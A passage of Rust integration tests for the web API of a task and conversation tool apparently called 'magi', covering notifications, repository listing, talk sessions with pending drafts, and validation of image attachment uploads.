5872 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
5873 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
5874
5875 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
5876 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
5877
5878 let health = fx.get("/api/health").await.json();
5879 assert_eq!(health["notifications_unread"], 2);
5880 assert_ne!(
5881 health["notifications_rev"], rev0,
5882 "the badge must move live"
5883 );
5884
5885 let listed = fx.get("/api/notifications").await.json();
5886 assert_eq!(listed["unread"], 2);
5887 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
5888 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
5889
5890 let read = fx
5891 .post(&format!("/api/notifications/{}/read", a.id), None)
5892 .await;
5893 assert_eq!(read.status, 200, "{}", read.body);
5894 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
5895
5896 let gone = fx
5897 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
5898 .await;
5899 assert_eq!(gone.status, 200, "{}", gone.body);
5900 let listed = fx.get("/api/notifications").await.json();
5901 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
5902 assert_eq!(listed["unread"], 0);
5903
5904 store.raise(Notice::info("x", "again")).unwrap();
5905 let all = fx.post("/api/notifications/read-all", None).await;
5906 assert_eq!(all.status, 200, "{}", all.body);
5907 assert_eq!(all.json()["marked"], 1);
5908 assert_eq!(
5909 fx.get("/api/health").await.json()["notifications_unread"],
5910 0
5911 );
5912
5913 let missing = fx.post("/api/notifications/nope/read", None).await;
5914 assert_eq!(missing.status, 404, "{}", missing.body);
5915 assert!(missing.json()["error"].is_string());
5916 }
5917
5918 #[tokio::test]
5925 async fn a_task_cannot_be_filed_over_the_phone_directly() {
5926 let f = Fixture::start().await;
5927
5928 let res = f
5929 .post(
5930 "/api/queue",
5931 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
5932 )
5933 .await;
5934
5935 assert_eq!(
5936 res.status, 405,
5937 "POST /api/queue must not be a route: {}",
5938 res.body
5939 );
5940 assert!(
5941 f.queue().list().is_empty(),
5942 "a task filed by a route that does not exist must not reach the disk"
5943 );
5944 assert_eq!(f.get("/api/queue").await.status, 200);
5947 }
5948
5949 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
5951 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
5952 .expect("checkout dir");
5953 }
5954
5955 #[tokio::test]
5956 async fn repos_list_returns_name_and_path_for_every_configured_root() {
5957 let tmp = TempDir::new().expect("tempdir");
5958 let repo = tmp.path().join("repo");
5959 std::fs::create_dir_all(&repo).expect("repo dir");
5960 let root = tmp.path().join("root");
5961 make_checkout(&root, "github.com", "yukimemi", "magi");
5962 std::fs::write(
5963 repo.join("magi.toml"),
5964 format!(
5965 "[repos]\nroots = [{:?}]\n",
5966 root.to_string_lossy().into_owned()
5967 ),
5968 )
5969 .expect("write magi.toml");
5970
5971 let f = Fixture::with_repo(repo).await;
5972 let res = f.get("/api/repos").await;
5973 assert_eq!(res.status, 200, "{}", res.body);
5974 let list = res.json();
5975 let repos = list.as_array().expect("an array");
5976 assert_eq!(repos.len(), 1);
5977 assert_eq!(repos[0]["name"], "yukimemi/magi");
5978 assert!(
5979 repos[0]["path"]
5980 .as_str()
5981 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
5982 "{list}"
5983 );
5984 }
5985
5986 #[tokio::test]
5987 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
5988 let tmp = TempDir::new().expect("tempdir");
5989 let repo = tmp.path().join("repo");
5990 std::fs::create_dir_all(&repo).expect("repo dir");
5991 let root = tmp.path().join("root");
5992 make_checkout(&root, "github.com", "yukimemi", "magi");
5993 std::fs::write(
5994 repo.join("magi.toml"),
5995 format!(
5996 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
5997 root.to_string_lossy().into_owned()
5998 ),
5999 )
6000 .expect("write magi.toml");
6001
6002 let f = Fixture::with_repo(repo).await;
6003 let first = f.get("/api/repos").await;
6004 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
6005
6006 make_checkout(&root, "github.com", "yukimemi", "rvpm");
6009 let second = f.get("/api/repos").await;
6010 assert_eq!(
6011 second.json().as_array().map(Vec::len),
6012 Some(1),
6013 "a fresh cache must not rescan inside the TTL"
6014 );
6015
6016 let refreshed = f.get("/api/repos?refresh=1").await;
6017 assert_eq!(
6018 refreshed.json().as_array().map(Vec::len),
6019 Some(2),
6020 "an explicit refresh must rescan even inside the TTL"
6021 );
6022 }
6023
6024 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
6030
6031 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
6035 let tmp = TempDir::new().expect("tempdir");
6036 let repo = tmp.path().join("repo");
6037 std::fs::create_dir_all(&repo).expect("repo dir");
6038 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6039 let f = Fixture::with_repo(repo.clone()).await;
6040 (tmp, repo, f)
6041 }
6042
6043 #[tokio::test]
6044 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
6045 let (_tmp, _repo, f) = talk_fixture().await;
6046
6047 let opened = f.post("/api/talks", None).await;
6050 assert_eq!(opened.status, 201, "{}", opened.body);
6051 let body = opened.json();
6052 assert_eq!(body["status"], "open");
6053 assert_eq!(
6054 body["turns"].as_array().unwrap().len(),
6055 0,
6056 "opening takes no agent turn: there is nothing yet to answer"
6057 );
6058
6059 let also_opened = f.post("/api/talks", Some("{}")).await;
6061 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
6062
6063 let listed = f.get("/api/talks").await.json();
6064 assert_eq!(listed.as_array().unwrap().len(), 2);
6065 }
6066
6067 #[tokio::test]
6068 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
6069 let f = Fixture::start().await;
6070 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
6071 let queue = f.queue();
6072 let mut mine = Task::new(
6073 "rename the loader".to_owned(),
6074 "rename the loader".to_owned(),
6075 PathBuf::from("/repo/magi"),
6076 Source::Agent {
6077 run: talk_id.clone(),
6078 node: "chat".to_owned(),
6079 },
6080 );
6081 queue.put(&mut mine).expect("file the task");
6082 let mut theirs = Task::new(
6083 "unrelated".to_owned(),
6084 "unrelated".to_owned(),
6085 PathBuf::from("/repo/magi"),
6086 Source::Human,
6087 );
6088 queue.put(&mut theirs).expect("file the task");
6089
6090 let res = f.get(&format!("/api/talks/{talk_id}")).await;
6091 assert_eq!(res.status, 200, "{}", res.body);
6092 let body = res.json();
6093 assert_eq!(
6094 body["status"], "open",
6095 "filing a task does not close a talk"
6096 );
6097 let tasks = body["tasks"].as_array().expect("tasks array");
6098 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
6099 assert_eq!(tasks[0]["id"], mine.id);
6100 }
6101
6102 #[tokio::test]
6103 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
6104 let (_tmp, _repo, f) = talk_fixture().await;
6105 let id = f.post("/api/talks", None).await.json()["id"]
6106 .as_str()
6107 .expect("id")
6108 .to_owned();
6109
6110 let res = f
6111 .post(
6112 &format!("/api/talks/{id}/say"),
6113 Some(r#"{"text":"what does the queue module do?"}"#),
6114 )
6115 .await;
6116 assert_eq!(res.status, 202, "{}", res.body);
6117 let queued = res.json();
6118 let turns = queued["turns"].as_array().expect("turns array");
6119 assert_eq!(
6120 turns.len(),
6121 1,
6122 "the answer reflects only what is on disk the instant it is sent, \
6123 before the agent's turn - which can run for the whole of \
6124 `[graph] timeout_talk` - has a chance to land: {queued}"
6125 );
6126 assert_eq!(turns[0]["who"], "operator");
6127 assert_eq!(turns[0]["body"], "what does the queue module do?");
6128 assert_eq!(
6129 queued["thinking"], true,
6130 "the accepted response exposes the background turn claim: {queued}"
6131 );
6132
6133 let mut turns_after = 1;
6134 for _ in 0..SETTLE_STEPS {
6135 let detail = f.get(&format!("/api/talks/{id}")).await.json();
6136 turns_after = detail["turns"].as_array().expect("turns array").len();
6137 if turns_after == 2 {
6138 break;
6139 }
6140 tokio::time::sleep(Duration::from_millis(10)).await;
6141 }
6142 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
6143 }
6144
6145 #[tokio::test]
6172 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
6173 let tmp = TempDir::new().expect("tempdir");
6174 let repo = tmp.path().join("repo");
6175 std::fs::create_dir_all(&repo).expect("repo dir");
6176 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6177 let home = TempDir::new().expect("temp home");
6178 let talks = Talks::at(home.path().join("talks"));
6179 let ui = Arc::new(
6180 Ui::new(
6181 Queue::at(home.path().join("queue")),
6182 Questions::at(home.path().join("questions")),
6183 talks.clone(),
6184 home.path().join("runs"),
6185 home.path().to_path_buf(),
6186 repo.clone(),
6187 )
6188 .with_worktrees_root(home.path().join("wt")),
6189 );
6190 let cfg = config_for(&repo).await.expect("discover config");
6191
6192 for delay in 0..40u32 {
6193 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6194 let id = talk.id.clone();
6195
6196 let handler = tokio::spawn(talk_say(
6197 State(Arc::clone(&ui)),
6198 Path(id.clone()),
6199 Ok(Json(NewTalkTurn {
6200 text: "what does the queue module do?".to_owned(),
6201 attachments: Vec::new(),
6202 })),
6203 ));
6204 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
6205 handler.abort();
6206 let _ = handler.await;
6209
6210 let mut turns = 0;
6211 for _ in 0..SETTLE_STEPS {
6212 if let Ok(fresh) = talks.get(&id) {
6213 turns = fresh.turns.len();
6214 if turns != 1 {
6215 break;
6216 }
6217 }
6218 tokio::time::sleep(Duration::from_millis(10)).await;
6219 }
6220 assert_ne!(
6221 turns, 1,
6222 "delay {delay}: talk {id} recorded the operator's turn but \
6223 the agent never answered - the reply task was never \
6224 started after the handler future was dropped"
6225 );
6226 }
6227 }
6228
6229 #[tokio::test]
6274 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
6275 let tmp = TempDir::new().expect("tempdir");
6276 let repo = tmp.path().join("repo");
6277 std::fs::create_dir_all(&repo).expect("repo dir");
6278 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6279 let home = TempDir::new().expect("temp home");
6280 let talks = Talks::at(home.path().join("talks"));
6281 let ui = Arc::new(
6282 Ui::new(
6283 Queue::at(home.path().join("queue")),
6284 Questions::at(home.path().join("questions")),
6285 talks.clone(),
6286 home.path().join("runs"),
6287 home.path().to_path_buf(),
6288 repo.clone(),
6289 )
6290 .with_worktrees_root(home.path().join("wt")),
6291 );
6292 let cfg = config_for(&repo).await.expect("discover config");
6293
6294 for attempt in 0..3u32 {
6295 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6296 let id = talk.id.clone();
6297 let turn_guard = ui
6300 .begin_talk_turn(&id)
6301 .expect("claim the turn")
6302 .expect("a fresh talk owes nobody a turn");
6303
6304 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
6305 let (release_tx, release_rx) = std::sync::mpsc::channel();
6306 ui.set_busy_queue_gate(BusyQueueGate {
6307 reached: reached_tx,
6308 release: release_rx,
6309 });
6310
6311 let handler = tokio::spawn(talk_say(
6312 State(Arc::clone(&ui)),
6313 Path(id.clone()),
6314 Ok(Json(NewTalkTurn {
6315 text: "what does the queue module do?".to_owned(),
6316 attachments: Vec::new(),
6317 })),
6318 ));
6319
6320 tokio::time::timeout(Duration::from_secs(5), reached_rx)
6325 .await
6326 .unwrap_or_else(|_| {
6327 panic!(
6328 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
6329 )
6330 })
6331 .expect("the busy branch dropped the gate without using it");
6332
6333 let running = talks.get(&id).expect("reload talk");
6340 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
6341
6342 handler.abort();
6346 let _ = handler.await;
6347
6348 let _ = release_tx.send(());
6354
6355 let mut fresh = talks.get(&id).expect("reload talk");
6358 for _ in 0..SETTLE_STEPS {
6359 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
6360 break;
6361 }
6362 tokio::time::sleep(Duration::from_millis(10)).await;
6363 fresh = talks.get(&id).expect("reload talk");
6364 }
6365 assert!(
6366 fresh.pending.is_empty() && fresh.turns.len() == 2,
6367 "attempt {attempt}: talk {id} left the operator's text queued \
6368 with no drainer - the reclaimed turn was dropped along with \
6369 the handler future (pending {:?}, {} turns)",
6370 fresh.pending,
6371 fresh.turns.len()
6372 );
6373 }
6374 }
6375
6376 #[tokio::test]
6377 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
6378 let (_tmp, _repo, f) = talk_fixture().await;
6379 let id = f.post("/api/talks", None).await.json()["id"]
6380 .as_str()
6381 .expect("id")
6382 .to_owned();
6383 let store = f.talks();
6384 let mut recovered = store.get(&id).expect("opened talk");
6385 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
6386 .expect("persist pending draft without a live turn");
6387
6388 let edited = f
6389 .post(
6390 &format!("/api/talks/{id}/pending/edit"),
6391 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
6392 )
6393 .await;
6394 assert_eq!(edited.status, 200, "{}", edited.body);
6395 assert!(edited.json()["thinking"].as_bool().unwrap());
6396
6397 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
6398 for _ in 0..SETTLE_STEPS {
6399 if detail["turns"].as_array().expect("turns").len() == 2 {
6400 break;
6401 }
6402 tokio::time::sleep(Duration::from_millis(10)).await;
6403 detail = f.get(&format!("/api/talks/{id}")).await.json();
6404 }
6405 let turns = detail["turns"].as_array().expect("turns");
6406 assert_eq!(
6407 turns.len(),
6408 2,
6409 "the recovered draft must run once: {detail}"
6410 );
6411 assert_eq!(turns[0]["body"], "corrected");
6412 assert_eq!(detail["pending"], "");
6413 }
6414
6415 #[tokio::test]
6416 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
6417 let tmp = TempDir::new().expect("tempdir");
6418 let repo = tmp.path().join("repo");
6419 std::fs::create_dir_all(&repo).expect("repo dir");
6420 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
6421 let f = Fixture::with_repo(repo).await;
6422 let id = f.post("/api/talks", None).await.json()["id"]
6423 .as_str()
6424 .expect("id")
6425 .to_owned();
6426 let store = f.talks();
6427 let mut recovered = store.get(&id).expect("opened talk");
6428 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
6429 .expect("persist pending draft without a live turn");
6430
6431 let refused = f
6432 .post(
6433 &format!("/api/talks/{id}/say"),
6434 Some(r#"{"text":"new message"}"#),
6435 )
6436 .await;
6437 assert_eq!(refused.status, 409, "{}", refused.body);
6438 assert!(refused.body.contains("resume"), "{}", refused.body);
6439 let saved = store.get(&id).expect("draft remains after refusal");
6440 assert!(saved.turns.is_empty());
6441 assert_eq!(saved.pending, "saved before restart");
6442
6443 let say_path = format!("/api/talks/{id}/say");
6444 let (first, second) = tokio::join!(
6445 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
6446 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
6447 );
6448 assert_eq!(first.status, 409, "{}", first.body);
6449 assert_eq!(second.status, 409, "{}", second.body);
6450 let saved = store
6451 .get(&id)
6452 .expect("draft remains after concurrent refusals");
6453 assert!(saved.turns.is_empty());
6454 assert_eq!(saved.pending, "saved before restart");
6455
6456 let resumed = f
6457 .post(&format!("/api/talks/{id}/pending/resume"), None)
6458 .await;
6459 assert_eq!(resumed.status, 202, "{}", resumed.body);
6460 let duplicate = f
6461 .post(&format!("/api/talks/{id}/pending/resume"), None)
6462 .await;
6463 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
6464
6465 for _ in 0..SETTLE_STEPS {
6466 if store.get(&id).expect("talk").turns.len() == 2 {
6467 break;
6468 }
6469 tokio::time::sleep(Duration::from_millis(10)).await;
6470 }
6471 let finished = store.get(&id).expect("finished talk");
6472 assert_eq!(finished.turns.len(), 2, "{finished:?}");
6473 assert_eq!(finished.turns[0].body, "saved before restart");
6474 assert!(finished.pending.is_empty());
6475 }
6476
6477 #[tokio::test]
6478 async fn an_image_only_recovered_draft_resumes_without_text() {
6479 let (_tmp, _repo, f) = talk_fixture().await;
6480 let id = f.post("/api/talks", None).await.json()["id"]
6481 .as_str()
6482 .expect("id")
6483 .to_owned();
6484 let uploaded = f
6485 .post_bytes(
6486 &format!("/api/talks/{id}/attachments"),
6487 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
6488 PNG_BYTES,
6489 )
6490 .await;
6491 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6492 let attachment = f
6493 .talks()
6494 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
6495 .expect("attachment metadata")
6496 .expect("stored attachment");
6497 let store = f.talks();
6498 let mut recovered = store.get(&id).expect("opened talk");
6499 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
6500
6501 let resumed = f
6502 .post(&format!("/api/talks/{id}/pending/resume"), None)
6503 .await;
6504 assert_eq!(resumed.status, 202, "{}", resumed.body);
6505 for _ in 0..SETTLE_STEPS {
6506 if store.get(&id).expect("talk").turns.len() == 2 {
6507 break;
6508 }
6509 tokio::time::sleep(Duration::from_millis(10)).await;
6510 }
6511 let finished = store.get(&id).expect("finished talk");
6512 assert_eq!(finished.turns.len(), 2, "{finished:?}");
6513 assert!(finished.turns[0].body.is_empty());
6514 assert_eq!(finished.turns[0].attachments.len(), 1);
6515 assert!(finished.pending_attachments.is_empty());
6516 }
6517
6518 #[tokio::test]
6519 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
6520 let (_tmp, _repo, f) = talk_fixture().await;
6521 let id = f.post("/api/talks", None).await.json()["id"]
6522 .as_str()
6523 .expect("id")
6524 .to_owned();
6525 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6526 assert_eq!(closed.status, 200, "{}", closed.body);
6527 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
6528 .expect("serialize closed talk");
6529 for (path, body) in [
6530 (format!("/api/talks/{id}/pending/resume"), None),
6531 (
6532 format!("/api/talks/{id}/pending/clear"),
6533 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
6534 ),
6535 (
6536 format!("/api/talks/{id}/pending/edit"),
6537 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
6538 ),
6539 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
6540 ] {
6541 let response = f.post(&path, body).await;
6542 assert_eq!(response.status, 409, "{}", response.body);
6543 }
6544 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
6545 .expect("serialize closed talk");
6546 assert_eq!(
6547 after_clear, before_clear,
6548 "clear must not rewrite a closed talk"
6549 );
6550 }
6551
6552 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
6555
6556 #[tokio::test]
6557 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
6558 let tmp = TempDir::new().expect("tempdir");
6559 let repo = tmp.path().join("repo");
6560 std::fs::create_dir_all(&repo).expect("repo dir");
6561 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
6562 let f = Fixture::with_repo(repo).await;
6563 let id_a = f.post("/api/talks", None).await.json()["id"]
6564 .as_str()
6565 .unwrap()
6566 .to_owned();
6567 let id_b = f.post("/api/talks", None).await.json()["id"]
6568 .as_str()
6569 .unwrap()
6570 .to_owned();
6571
6572 let a = f
6573 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
6574 .await;
6575 assert_eq!(a.status, 202, "{}", a.body);
6576 assert_eq!(a.json()["thinking"], true);
6577 let b = f
6578 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
6579 .await;
6580 assert_eq!(b.status, 202, "{}", b.body);
6581 assert_eq!(b.json()["thinking"], true);
6582
6583 let listed = f.get("/api/talks").await.json();
6584 for id in [&id_a, &id_b] {
6585 let view = listed
6586 .as_array()
6587 .unwrap()
6588 .iter()
6589 .find(|talk| talk["id"] == *id)
6590 .unwrap();
6591 assert_eq!(view["thinking"], true, "{listed}");
6592 }
6593 let repeated = f
6594 .post(
6595 &format!("/api/talks/{id_a}/say"),
6596 Some(r#"{"text":"again"}"#),
6597 )
6598 .await;
6599 assert_eq!(repeated.status, 202, "{}", repeated.body);
6600 assert_eq!(repeated.json()["pending"], "again");
6601 }
6602
6603 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
6606
6607 #[tokio::test]
6608 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
6609 let f = Fixture::start().await;
6610 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
6611
6612 let res = f
6613 .post_bytes(
6614 &format!("/api/talks/{id}/attachments"),
6615 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6616 PNG_BYTES,
6617 )
6618 .await;
6619 assert_eq!(res.status, 201, "{}", res.body);
6620 let body = res.json();
6621 assert_eq!(body["name"], "shot.png");
6622 assert_eq!(body["mime"], "image/png");
6623 assert_eq!(body["bytes"], PNG_BYTES.len());
6624 let att_id = body["id"].as_str().expect("id").to_owned();
6625 assert_eq!(
6626 att_id.len(),
6627 32,
6628 "the id must never be a client-suppliable path: {att_id}"
6629 );
6630
6631 let got = f
6632 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
6633 .await;
6634 assert_eq!(got.status, 200, "{}", got.body);
6635 assert_eq!(got.header("content-type"), Some("image/png"));
6636 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
6637 assert_eq!(got.bytes, PNG_BYTES);
6638 }
6639
6640 #[tokio::test]
6641 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
6642 let f = Fixture::start().await;
6643 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
6644
6645 let svg = f
6648 .post_bytes(
6649 &format!("/api/talks/{id}/attachments"),
6650 &[("Content-Type", "image/svg+xml")],
6651 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
6652 )
6653 .await;
6654 assert!(
6655 (400..500).contains(&svg.status),
6656 "svg must be refused: {} {}",
6657 svg.status,
6658 svg.body
6659 );
6660 assert!(svg.body.contains("SVG"), "{}", svg.body);
6661
6662 let text = f
6663 .post_bytes(
6664 &format!("/api/talks/{id}/attachments"),
6665 &[("Content-Type", "text/plain")],
6666 b"just some text",
6667 )
6668 .await;
6669 assert!(
6670 (400..500).contains(&text.status),
6671 "an unlisted type must be refused: {} {}",
6672 text.status,
6673 text.body
6674 );
6675
6676 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
6679 let big = f
6680 .post_bytes(
6681 &format!("/api/talks/{id}/attachments"),
6682 &[("Content-Type", "image/png")],
6683 &oversized,
6684 )
6685 .await;
6686 assert_eq!(
6687 big.status,
6688 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
6689 "{}",
6690 big.body
6691 );
6692 }
6693
6694 #[tokio::test]
6695 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
6696 let f = Fixture::start().await;
6697 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
6698
6699 let res = f
6702 .post_bytes(
6703 &format!("/api/talks/{id}/attachments"),
6704 &[("Content-Type", "image/png")],
6705 b"<html>not a picture</html>",
6706 )
6707 .await;
6708 assert!((400..500).contains(&res.status), "{}", res.body);
6709 }
6710
6711 #[tokio::test]
6712 async fn an_unknown_attachment_id_is_a_404() {
6713 let f = Fixture::start().await;
6714 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
6715
6716 let res = f
6717 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
6718 .await;
6719 assert_eq!(res.status, 404, "{}", res.body);
6720 }
6721
6722 #[tokio::test]
6723 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
6724 let f = Fixture::start().await;
6725 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
6726
6727 let uploaded = f
6728 .post_bytes(
6729 &format!("/api/talks/{id}/attachments"),
6730 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6731 PNG_BYTES,
6732 )
6733 .await;
6734 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6735 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
6736
6737 let res = f
6738 .post(
6739 &format!("/api/talks/{id}/say"),
6740 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
6741 )
6742 .await;
6743 assert_eq!(res.status, 202, "{}", res.body);
6744 let queued = res.json();
6745 let turns = queued["turns"].as_array().expect("turns array");
6746 assert_eq!(
6747 turns.len(),
6748 1,
6749 "an empty body with an attachment is still a turn: {queued}"
6750 );
6751 assert_eq!(turns[0]["who"], "operator");
6752 assert_eq!(turns[0]["body"], "");
6753 let atts = turns[0]["attachments"]
6754 .as_array()
6755 .expect("attachments array");
6756 assert_eq!(atts.len(), 1);
6757 assert_eq!(atts[0]["id"], att_id);
6758 assert_eq!(atts[0]["mime"], "image/png");
6759
6760 let on_disk = f.talks().get(&id).expect("get");
6763 assert_eq!(on_disk.turns[0].attachments.len(), 1);
6764 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
6765 }
6766
6767 #[tokio::test]
6768 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
6769 let f = Fixture::start().await;
6770 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
6771
6772 let res = f
6773 .post(
6774 &format!("/api/talks/{id}/say"),
6775 Some(&format!(
6776 r#"{{"text":"hi","attachments":["{}"]}}"#,
6777 "a".repeat(32)
6778 )),
6779 )
6780 .await;
6781 assert!((400..500).contains(&res.status), "{}", res.body);
6782 assert!(res.body.contains("unknown attachment"), "{}", res.body);
6783
6784 let on_disk = f.talks().get(&id).expect("get");
6785 assert!(
6786 on_disk.turns.is_empty(),
6787 "a rejected attachment id must not partially record the turn: {:?}",
6788 on_disk.turns
6789 );
6790 }
6791
6792 #[tokio::test]
6793 async fn talk_close_makes_the_talk_refuse_further_turns() {
6794 let f = Fixture::start().await;
6795 let id = seed_talk(&f, "20260904-014455-cd34", "open");
6796
6797 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6798 assert_eq!(closed.status, 200, "{}", closed.body);
6799 assert_eq!(closed.json()["status"], "closed");
6800
6801 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
6803 assert_eq!(closed_again.status, 200);
6804 assert_eq!(closed_again.json()["status"], "closed");
6805
6806 let said = f
6807 .post(
6808 &format!("/api/talks/{id}/say"),
6809 Some(r#"{"text":"too late"}"#),
6810 )
6811 .await;
6812 assert_eq!(said.status, 409, "{}", said.body);
6813 }
6814
6815 #[tokio::test]
6816 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
6817 let (_tmp, _repo, f) = talk_fixture().await;
6818 let id = f.post("/api/talks", None).await.json()["id"]
6819 .as_str()
6820 .expect("id")
6821 .to_owned();
6822 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6823 assert_eq!(closed.status, 200, "{}", closed.body);
6824
6825 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6826 assert_eq!(reopened.status, 200, "{}", reopened.body);
6827 assert_eq!(reopened.json()["status"], "open");
6828
6829 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6831 assert_eq!(reopened_again.status, 200);
6832 assert_eq!(reopened_again.json()["status"], "open");
6833
6834 let said = f
6835 .post(
6836 &format!("/api/talks/{id}/say"),
6837 Some(r#"{"text":"still there?"}"#),
6838 )
6839 .await;
6840 assert_eq!(
6841 said.status, 202,
6842 "a reopened talk accepts turns again: {}",
6843 said.body
6844 );
6845 }
6846
6847 #[tokio::test]
6848 async fn talk_reopen_on_an_unknown_id_is_404() {
6849 let f = Fixture::start().await;
6850 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
6851 assert_eq!(res.status, 404, "{}", res.body);
6852 }
6853
6854 #[tokio::test]
6855 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
6856 let f = Fixture::start().await;
6857 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
6858
6859 let deleted = f.delete(&format!("/api/talks/{id}")).await;
6860 assert_eq!(deleted.status, 204, "{}", deleted.body);
6861
6862 let after = f.get(&format!("/api/talks/{id}")).await;
6863 assert_eq!(after.status, 404, "{}", after.body);
6864
6865 let listed = f.get("/api/talks").await.json();
6866 assert!(
6867 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
6868 "a deleted talk must not linger in the list: {listed}"
6869 );
6870 }
6871
6872 #[tokio::test]
6873 async fn talk_delete_on_an_unknown_id_is_404() {
6874 let f = Fixture::start().await;
6875 let res = f.delete("/api/talks/nonexistent-id").await;
6876 assert_eq!(res.status, 404, "{}", res.body);
6877 }
6878
6879 #[tokio::test]
6880 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
6881 let f = Fixture::start().await;
6882 let queue = f.queue();
6883 let mut task = Task::new(
6884 "spent".to_owned(),
6885 "Try again".to_owned(),
6886 PathBuf::from("/repo/magi"),
6887 Source::Human,
6888 );
6889 task.start("20260902-140502-bbbb".to_owned());
